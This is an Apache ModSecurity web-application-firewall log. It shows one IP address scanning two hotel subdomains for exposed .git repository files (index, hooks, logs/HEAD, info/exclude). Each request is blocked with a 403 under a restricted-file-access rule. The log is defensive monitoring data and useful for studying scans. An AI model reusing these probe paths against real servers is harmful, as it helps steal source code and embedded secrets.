[Sun Oct 25 04:06:22.286267 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/description"] [unique_id "at24fp68N771hz7W4KlsSQAAAAw"]
[Sun Oct 25 04:06:22.286507 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/description"] [unique_id "at24fp68N771hz7W4KlsSQAAAAw"]
[Sun Oct 25 04:06:22.304531 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/hooks"] [unique_id "at24frQKh4dfs72fmHxv-gAAAAE"]
[Sun Oct 25 04:06:22.304721 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/hooks"] [unique_id "at24frQKh4dfs72fmHxv-gAAAAE"]
[Sun Oct 25 04:06:22.305026 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/hooks"] [unique_id "at24frQKh4dfs72fmHxv-gAAAAE"]
[Sun Oct 25 04:06:22.307227 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/post-commit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at24fqrU4NwppjTEGaL6jgAAAAY"]
[Sun Oct 25 04:06:22.307383 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at24fqrU4NwppjTEGaL6jgAAAAY"]
[Sun Oct 25 04:06:22.307613 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at24fqrU4NwppjTEGaL6jgAAAAY"]
[Sun Oct 25 04:06:22.352734 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/hooks"] [unique_id "at24flTnwNJm6o1fQZIitgAAAAI"]
[Sun Oct 25 04:06:22.352945 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/hooks"] [unique_id "at24flTnwNJm6o1fQZIitgAAAAI"]
[Sun Oct 25 04:06:22.353311 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/hooks"] [unique_id "at24flTnwNJm6o1fQZIitgAAAAI"]
[Sun Oct 25 04:06:22.357803 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/post-commit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at24fgLaiqtlZaJBsx4X0gAAAA0"]
[Sun Oct 25 04:06:22.357978 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at24fgLaiqtlZaJBsx4X0gAAAA0"]
[Sun Oct 25 04:06:22.358231 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/hooks/post-commit"] [unique_id "at24fgLaiqtlZaJBsx4X0gAAAA0"]
[Sun Oct 25 04:06:22.366231 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-commit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/hooks/pre-commit"] [unique_id "at24foHtOs-nfC4GshpRsAAAABc"]
[Sun Oct 25 04:06:22.366383 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/hooks/pre-commit"] [unique_id "at24foHtOs-nfC4GshpRsAAAABc"]
[Sun Oct 25 04:06:22.366627 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/hooks/pre-commit"] [unique_id "at24foHtOs-nfC4GshpRsAAAABc"]
[Sun Oct 25 04:06:22.382190 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at24ftxXWZMI2DaSlsHxNwAAABY"]
[Sun Oct 25 04:06:22.382400 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at24ftxXWZMI2DaSlsHxNwAAABY"]
[Sun Oct 25 04:06:22.382679 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at24ftxXWZMI2DaSlsHxNwAAABY"]
[Sun Oct 25 04:06:22.383611 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-commit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/hooks/pre-commit"] [unique_id "at24fi7GhhaIo05efijDIgAAAAc"]
[Sun Oct 25 04:06:22.383771 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/hooks/pre-commit"] [unique_id "at24fi7GhhaIo05efijDIgAAAAc"]
[Sun Oct 25 04:06:22.383982 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/hooks/pre-commit"] [unique_id "at24fi7GhhaIo05efijDIgAAAAc"]
[Sun Oct 25 04:06:22.385106 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at24fp68N771hz7W4KlsSgAAAAw"]
[Sun Oct 25 04:06:22.385310 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at24fp68N771hz7W4KlsSgAAAAw"]
[Sun Oct 25 04:06:22.385578 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at24fp68N771hz7W4KlsSgAAAAw"]
[Sun Oct 25 04:06:22.389381 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/info"] [unique_id "at24frQKh4dfs72fmHxv-wAAAAE"]
[Sun Oct 25 04:06:22.393946 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/info"] [unique_id "at24frQKh4dfs72fmHxv-wAAAAE"]
[Sun Oct 25 04:06:22.394188 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/info"] [unique_id "at24frQKh4dfs72fmHxv-wAAAAE"]
[Sun Oct 25 04:06:22.396097 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/info/exclude"] [unique_id "at24fqrU4NwppjTEGaL6jwAAAAY"]
[Sun Oct 25 04:06:22.404461 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/info/exclude"] [unique_id "at24fqrU4NwppjTEGaL6jwAAAAY"]
[Sun Oct 25 04:06:22.404771 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/info/exclude"] [unique_id "at24fqrU4NwppjTEGaL6jwAAAAY"]
[Sun Oct 25 04:06:22.447535 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/info/exclude"] [unique_id "at24fgLaiqtlZaJBsx4X0wAAAA0"]
[Sun Oct 25 04:06:22.586966 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/info/exclude"] [unique_id "at24fgLaiqtlZaJBsx4X0wAAAA0"]
[Sun Oct 25 04:06:22.587642 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/info/exclude"] [unique_id "at24fgLaiqtlZaJBsx4X0wAAAA0"]
[Sun Oct 25 04:06:22.459787 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/info"] [unique_id "at24flTnwNJm6o1fQZIitwAAAAI"]
[Sun Oct 25 04:06:22.640302 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/info"] [unique_id "at24flTnwNJm6o1fQZIitwAAAAI"]
[Sun Oct 25 04:06:22.640771 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/info"] [unique_id "at24flTnwNJm6o1fQZIitwAAAAI"]
[Sun Oct 25 04:06:22.460520 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at24foHtOs-nfC4GshpRsQAAABc"]
